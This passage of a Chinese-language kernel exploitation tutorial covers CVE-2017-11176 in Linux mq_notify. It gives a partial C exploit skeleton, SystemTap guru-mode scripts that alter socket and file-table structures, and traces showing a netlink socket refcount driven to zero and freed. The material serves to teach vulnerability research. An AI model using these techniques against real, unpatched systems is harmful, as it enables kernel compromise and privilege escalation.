#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>

#define NOTIFY_COOKIE_LEN (32)

#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)

int main(void)
{
struct sigevent sigev;
char sival_buffer[NOTIFY_COOKIE_LEN];
int sock_fd;

printf("-={ CVE-2017-11176 Exploit }=-\n");

if ((sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC)) < 0)
{
perror("socket");
goto fail;
}
printf("netlink socket created = %d\n", sock_fd);

// initialize the sigevent structure
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
sigev.sigev_signo = sock_fd; // <--- not '-1' anymore

if (_mq_notify((mqd_t)-1, &sigev))
{
perror("mq_notify");
goto fail;
}
printf("mq_notify succeed\n");

// TODO: exploit

return 0;

fail:
printf("exploit failed!\n");
return -1;
}

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(3566-3566) >>> mq_notify (4294967295, 0x7ffebfc52b20)
(3566-3566) >>> copy_from_user()
(3566-3566) >>> alloc_skb (priority=? size=?)
(3566-3566) >>> copy_from_user()
(3566-3566) >>> skb_put (skb=0xffff88003afcd700 len=0x20)
(3566-3566) <<< skb_put = ffff88003afc8000
(3566-3566) >>> fdget (fd=?)
(3566-3566) >>> netlink_getsockbyfilp (filp=0xffff88003c7abc00)
(3566-3566) <<< netlink_getsockbyfilp = ffff88003c7ac800 <==== Pass
(3566-3566) >>> netlink_attachskb (sk=0xffff88003c7ac800 skb=0xffff88003afcd700 timeo=0xffff88003c643f08 ssk=0x0)
(3566-3566) <<< netlink_attachskb = 0 <==== Unwanted behavior
(3566-3566) >>> fdget (fd=?)
(3566-3566) >>> netlink_detachskb (sk=0xffff88003c7ac800 skb=0xffff88003afcd700)
(3566-3566) <<< netlink_detachskb
(3566-3566) <<< mq_notify = fffffffffffffff7

fget()netlink_getsockbyfilp()看起来都正常执行,且我们可以控制关键数据并到达netlink_attachskb()处。

在前面的exp中,我们可以到达netlink_attachskb()但它返回了0,使得代码运行了非我们所愿的normal路径。回头看一下内核代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
    int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;

nlk = nlk_sk(sk);

[0] if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
DECLARE_WAITQUEUE(wait, current);
if (!*timeo) {
// ... cut (never reached in our code path) ...
}

__set_current_state(TASK_INTERRUPTIBLE);
add_wait_queue(&nlk->wait, &wait);

if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
!sock_flag(sk, SOCK_DEAD))
*timeo = schedule_timeout(*timeo);

__set_current_state(TASK_RUNNING);
remove_wait_queue(&nlk->wait, &wait);
sock_put(sk);

if (signal_pending(current)) {
kfree_skb(skb);
return sock_intr_errno(*timeo);
}
return 1; // <---- the only way
}
skb_set_owner_r(skb, sk);
return 0;
}

想让netlink_attachskb()返回1只有一条途径,并且首先需要满足[0]处的判断:

1
if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))

为了强行满足该条件,就需要使用SystemTap的Guru Mode。在Guru Mode下,可以让我们的探针去调用我们所编写的代码,就如同直接向内核中注入代码一样。因此任何错误都会导致内核崩溃。

我们接下来要做的就是修改sock结构体sknetlink_sock结构体nlk来使得if判断为True,在此之前,先收集一些sk的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
%{
#include <net/sock.h>
#include <net/netlink_sock.h>
%}

function dump_netlink_sock:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;

_stp_printf("-={ dump_netlink_sock: %p }=-\n", nlk);
_stp_printf("- sk = %p\n", sk);
_stp_printf("- sk->sk_rmem_alloc = %d\n", sk->sk_rmem_alloc);
_stp_printf("- sk->sk_rcvbuf = %d\n", sk->sk_rcvbuf);
_stp_printf("- sk->sk_refcnt = %d\n", sk->sk_refcnt);

_stp_printf("- nlk->state = %x\n", (nlk->state & 0x1));

_stp_printf("-={ dump_netlink_sock: END}=-\n");
%}

probe kernel.function ("netlink_attachskb")
{
if (execname() == "exploit")
{
printf("(%d-%d) [netlink] ==>> netlink_attachskb (%s)\n", pid(), tid(), $$parms)

dump_netlink_sock($sk);
}
}

使用-g选项加载stap脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(3299-3299) >>> mq_notify (4294967295, 0x7fff6bb3ac10)
(3299-3299) >>> copy_from_user()
(3299-3299) >>> alloc_skb (priority=? size=?)
(3299-3299) >>> copy_from_user()
(3299-3299) >>> skb_put (skb=0xffff88003d464d00 len=0x20)
(3299-3299) <<< skb_put = ffff88003add2000
(3299-3299) >>> __fdget (fd=0x3)
(3299-3299) >>> netlink_getsockbyfilp (filp=0xffff88001b895900)
(3299-3299) <<< netlink_getsockbyfilp = ffff88001b875000
(3299-3299) >>> netlink_attachskb (sk=0xffff88001b875000 skb=0xffff88003d464d00 timeo=0xffff880000053f08 ssk=0x0)
-={ dump_netlink_sock: 0xffff88001b875000 }=-
- sk = 0xffff88001b875000
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 212992
- sk->sk_refcnt = 2
- nlk->state = 0
-={ dump_netlink_sock: END}=-
(3299-3299) <<< netlink_attachskb = 0
(3299-3299) >>> __fdget (fd=0xffffffff)
(3299-3299) >>> netlink_detachskb (sk=0xffff88001b875000 skb=0xffff88003d464d00)
(3299-3299) <<< netlink_detachskb
(3299-3299) <<< mq_notify = fffffffffffffff7

如上述输出,nlk->state的第1bit为0且sk->sk_rmem_alloc小于sk->rcvbuf,所以if判断不会成立。接着,让我们在netlink_attachskb()调用之前修改数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function dump_netlink_sock:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;

_stp_printf("-={ dump_netlink_sock: %p }=-\n", nlk);
_stp_printf("- sk = %p\n", sk);
_stp_printf("- sk->sk_rmem_alloc = %d\n", sk->sk_rmem_alloc);
_stp_printf("- sk->sk_rcvbuf = %d\n", sk->sk_rcvbuf);
_stp_printf("- sk->sk_refcnt = %d\n", sk->sk_refcnt);

_stp_printf("- (before) nlk->state = %x\n", (nlk->state & 0x1));
nlk->state |= 1; // <-----
_stp_printf("- (after) nlk->state = %x\n", (nlk->state & 0x1));

_stp_printf("-={ dump_netlink_sock: END}=-\n");
%}

再次运行exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(3629-3629) >>> mq_notify (4294967295, 0x7ffc1507a6c0)
(3629-3629) >>> copy_from_user()
(3629-3629) >>> alloc_skb (priority=? size=?)
(3629-3629) >>> copy_from_user()
(3629-3629) >>> skb_put (skb=0xffff88003aec7c00 len=0x20)
(3629-3629) <<< skb_put = ffff88003ac79e00
(3629-3629) >>> __fdget (fd=0x3)
(3629-3629) >>> netlink_getsockbyfilp (filp=0xffff88003ae67b00)
(3629-3629) <<< netlink_getsockbyfilp = ffff88003bdf9000
(3629-3629) >>> netlink_attachskb (sk=0xffff88003bdf9000 skb=0xffff88003aec7c00 timeo=0xffff88003cb37f08 ssk=0x0)
-={ dump_netlink_sock: 0xffff88003bdf9000 }=-
- sk = 0xffff88003bdf9000
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 212992
- sk->sk_refcnt = 2
- nlk->state = 0
- (after) nlk->state = 1
-={ dump_netlink_sock: END}=-
(3629-3629) <<< netlink_attachskb = fffffffffffffe00
(3629-3629) <<< mq_notify = fffffffffffffe00

在运行的过程中,exp会卡在系统调用中,CTRL-C即可。注意到netlink_attachskb()返回了0xfffffffffffffe00(-ERESTARTSYS),代表我们进入了如下代码:

1
2
3
4
if (signal_pending(current)) {
kfree_skb(skb);
return sock_intr_errno(*timeo); // <---- return -ERESTARTSYS
}

这代表着我们成功地让netlink_attachskb()进入了其他路径。

避免exploit阻塞

mq_notify()阻塞的原因:

1
2
3
4
5
6
7
__set_current_state(TASK_INTERRUPTIBLE);

if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
!sock_flag(sk, SOCK_DEAD))
*timeo = schedule_timeout(*timeo);

__set_current_state(TASK_RUNNING);

在第二章中我们会更深入的了解scheduling,现在主要是考虑为什么我们的exp会满足特定的条件并被阻塞。为了避免被阻塞,首先需要绕过schedule_timeout(),因此设置SOCK_DEAD,就是去修改sk的内容来让sock_flag()返回True:

1
2
3
4
5
6
7
8
9
10
// from [include/net/sock.h]
static inline bool sock_flag(const struct sock *sk, enum sock_flags flag)
{
return test_bit(flag, &sk->sk_flags);
}

enum sock_flags {
SOCK_DEAD, // <---- this has to be '0', but we can check it with stap!
... cut ...
}

编辑stap脚本:

1
2
3
4
5
6
7
8
9
10
// mark it congested!
_stp_printf("- (before) nlk->state = %x\n", (nlk->state & 0x1));
nlk->state |= 1;
_stp_printf("- (after) nlk->state = %x\n", (nlk->state & 0x1));

// mark it DEAD
_stp_printf("- sk->sk_flags = %x\n", sk->sk_flags);
_stp_printf("- SOCK_DEAD = %x\n", SOCK_DEAD);
sk->sk_flags |= (1 << SOCK_DEAD);
_stp_printf("- sk->sk_flags = %x\n", sk->sk_flags);

重新运行脚本会发现exp陷入了内核的死循环中,原因是:

  • 内核进入了netlink_attachskb()并被我们强制执行到retry
  • the thread is not scheduled (we by-passed it)
  • netlink_attachskb()返回1
  • 返回到mq_notify()后,再次执行goto retry
  • fget()返回非NULL
  • 再次进入netlink_getsockbyfilp()
  • 再次进入netlink_attachskb()并不断循环

虽然我们绕过了阻塞,但是进入了死循环当中。

停止死循环

首先让第二个fget()失败,做法是直接将fd从FDT中移除(设置成NULL)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
  %{
#include <linux/fdtable.h>
%}

function remove_fd3_from_fdt:long (arg_unused:long)
%{
struct files_struct *files = NULL;
struct fdtable *fdt = NULL;
_stp_printf("!!>>> REMOVING FD=3 FROM FDT <<<!!\n");
files = current->files;
fdt = files_fdtable(files);
fdt->fd[3] = NULL;
%}

probe kernel.function ("netlink_attachskb")
{
if (execname() == "exploit")
{
printf("(%d-%d) [netlink] ==>> netlink_attachskb (%s)\n", pid(), tid(), $$parms)

dump_netlink_sock($sk); // it also marks the socket as DEAD and CONGESTED
remove_fd3_from_fdt(0);
}
}

执行exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(5089-5089) >>> mq_notify (4294967295, 0x7ffe27114170)
(5089-5089) >>> copy_from_user()
(5089-5089) >>> alloc_skb (priority=? size=?)
(5089-5089) >>> copy_from_user()
(5089-5089) >>> skb_put (skb=0xffff88003aeef000 len=0x20)
(5089-5089) <<< skb_put = ffff88003d838600
(5089-5089) >>> __fdget (fd=0x3)
(5089-5089) <<< __fdget = ffff88000793ba00
(5089-5089) >>> netlink_getsockbyfilp (filp=0xffff88000793ba00)
(5089-5089) <<< netlink_getsockbyfilp = ffff88003a2ed800
(5089-5089) >>> netlink_attachskb (sk=0xffff88003a2ed800 skb=0xffff88003aeef000 timeo=0xffff88003a32bf08 ssk=0x0)
-={ dump_netlink_sock: 0xffff88003a2ed800 }=-
- sk = 0xffff88003a2ed800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 212992
- sk->sk_refcnt = 2
- (before) nlk->state = 0
- (after) nlk->state = 1
- sk->sk_flags = 100
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
!!>>> REMOVING FD=3 FROM FDT <<<!!
(5089-5089) <<< netlink_attachskb = 1
(5089-5089) >>> __fdget (fd=0x3)
(5089-5089) <<< __fdget = 0
(5089-5089) >>> netlink_detachskb (sk=0xffff88003a2ed800 skb=0xffff88003aeef000)
(5089-5089) <<< netlink_detachskb
(5089-5089) <<< mq_notify = fffffffffffffff7

内核从之前的无限循环中跳出并且我们越来越接近攻击场景:

  1. netlink_attachskb()返回1
  2. 第二次fget()返回NULL

所以,我们触发了漏洞吗?

查看refcounter

一切都按照着我们的计划进行,因此漏洞也应该被触发使得sockrefcounter被减少了两次。在return的probe中,是无法使用enter的probe中的调用参数的,这意味着当netlnk_attachskb()返回时,我们无法检查sock的内容。

一种解决方法是将netlink_getsockbyfilp()返回的sock指针保存在全局变量中,然后再进行输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
global sock_ptr = 0;                  // <------ declared globally!

probe syscall.mq_notify.return
{
if (execname() == "exploit")
{
if (sock_ptr != 0) // <----- watch your NULL-deref, this is kernel-land!
{
dump_netlink_sock(sock_ptr);
sock_ptr = 0;
}

printf("(%d-%d) [SYSCALL] <<== mq_notify= %d\n\n", pid(), tid(), $return)
}
}

probe kernel.function ("netlink_getsockbyfilp").return
{
if (execname() == "exploit")
{
printf("(%d-%d) [netlink] <<== netlink_getsockbyfilp = %x\n", pid(), tid(), $return)
sock_ptr = $return; // <----- store it
}
}

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
(5409-5409) >>> mq_notify (4294967295, 0x7ffc59d68a00)
(5409-5409) >>> copy_from_user()
(5409-5409) >>> alloc_skb (priority=? size=?)
(5409-5409) >>> copy_from_user()
(5409-5409) >>> skb_put (skb=0xffff88003d46af00 len=0x20)
(5409-5409) <<< skb_put = ffff88003ac73e00
(5409-5409) >>> __fdget (fd=0x3)
(5409-5409) <<< __fdget = ffff8800373f6e00
(5409-5409) >>> netlink_getsockbyfilp (filp=0xffff8800373f6e00)
(5409-5409) <<< netlink_getsockbyfilp = ffff880036446000
(5409-5409) >>> netlink_attachskb (sk=0xffff880036446000 skb=0xffff88003d46af00 timeo=0xffff88003a3bbf08 ssk=0x0)
-={ dump_netlink_sock: 0xffff880036446000 }=-
- sk = 0xffff880036446000
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 212992
- sk->sk_refcnt = 2
- (before) nlk->state = 0
- (after) nlk->state = 1
- sk->sk_flags = 100
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
!!>>> REMOVING FD=3 FROM FDT <<<!!
(5409-5409) <<< netlink_attachskb = 1
(5409-5409) >>> __fdget (fd=0x3)
(5409-5409) <<< __fdget = 0
(5409-5409) >>> netlink_detachskb (sk=0xffff880036446000 skb=0xffff88003d46af00)
(5409-5409) <<< netlink_detachskb
-={ dump_netlink_sock: 0xffff880036446000 }=-
- sk = 0xffff880036446000
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 212992
- sk->sk_refcnt = 0
- nlk->state = 1
- sk->sk_flags = 101
- SOCK_DEAD = 0
-={ dump_netlink_sock: END}=-
(5409-5409) <<< mq_notify = fffffffffffffff7

可以看到refcounter从2被减为0,触发漏洞成功。由于refcounter为0,意味着会被释放,加入更多的probe监控kfree:

1
2
3
4
5
6
7
probe kernel.function("kfree")
{
if (execname()=="exploit")
{
printf("(%d-%d) >>> kfree (%s)\n", pid(), tid(), $$parms)
}
}

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
(5729-5729) >>> mq_notify (4294967295, 0x7ffdf31f9fb0)
(5729-5729) >>> copy_from_user()
(5729-5729) >>> alloc_skb (priority=? size=?)
(5729-5729) >>> copy_from_user()
(5729-5729) >>> skb_put (skb=0xffff88003ac76d00 len=0x20)
(5729-5729) <<< skb_put = ffff88003a9d7e00
(5729-5729) >>> __fdget (fd=0x3)
(5729-5729) <<< __fdget = ffff8800078bd700
(5729-5729) >>> netlink_getsockbyfilp (filp=0xffff8800078bd700)
(5729-5729) <<< netlink_getsockbyfilp = ffff88003af98800
(5729-5729) >>> netlink_attachskb (sk=0xffff88003af98800 skb=0xffff88003ac76d00 timeo=0xffff88003a3d3f08 ssk=0x0)
-={ dump_netlink_sock: 0xffff88003af98800 }=-
- sk = 0xffff88003af98800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 212992
- sk->sk_refcnt = 2
- (before) nlk->state = 0
- (after) nlk->state = 1
- sk->sk_flags = 100
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
!!>>> REMOVING FD=3 FROM FDT <<<!!
(5729-5729) <<< netlink_attachskb = 1
(5729-5729) >>> __fdget (fd=0x3)
(5729-5729) <<< __fdget = 0
(5729-5729) >>> netlink_detachskb (sk=0xffff88003af98800 skb=0xffff88003ac76d00)
(5729-5729) >>> kfree (objp=0xffff88003a9d7e00)
(5729-5729) >>> kfree (objp=0xffff88003af98800)
(5729-5729) <<< netlink_detachskb
-={ dump_netlink_sock: 0xffff88003af98800 }=-
- sk = 0xffff88003af98800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 212992
- sk->sk_refcnt = 0
- nlk->state = 1
- sk->sk_flags = 101
- SOCK_DEAD = 0
-={ dump_netlink_sock: END}=-
(5729-5729) <<< mq_notify = fffffffffffffff7

虽然sock被释放了,但还没有use after free

为什么内核没有崩溃?

与我们最初的计划不同的是,netlink_sock对象被netlink_detachskb()释放。原因是我们没有调用close()函数(仅重置了FDT),文件对象实际上没有释放,因此netlink_sock对象的引用没有被减少。换句话说,我们少了一次对引用的减少操作。但我们目前只是要验证refcounter是否会被减少两次(netlink_attachskb()netlink_detachskb()各一次)。

In the normal course of operation (i.e. we call close()), this additional refcounter decrease will occur and netlink_detachskb() will do a UAF. We will even “delay” this use-after-free to a later moment to get a better control (cf. part 2).

最终的SystemTap脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# mq_notify_force_crash.stp
#
# Run it with "stap -v -g ./mq_notify_force_crash.stp" (guru mode)

%{
#include <net/sock.h>
#include <net/netlink_sock.h>
#include <linux/fdtable.h>
%}

function force_trigger:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
sk->sk_flags |= (1 << SOCK_DEAD); // avoid blocking the thread

struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1; // enter the netlink_attachskb() retry path

struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
%}

probe kernel.function ("netlink_attachskb")
{
if (execname() == "exploit")
{
force_trigger($sk);
}
}

0x06 结论

在本文中,我们主要介绍了漏洞的相关知识并使用System Tap Guru Mode强制触发漏洞。在下一部分的文章,我们将一步步把当前的从内核态强制触发漏洞的代码转换成从用户态触发。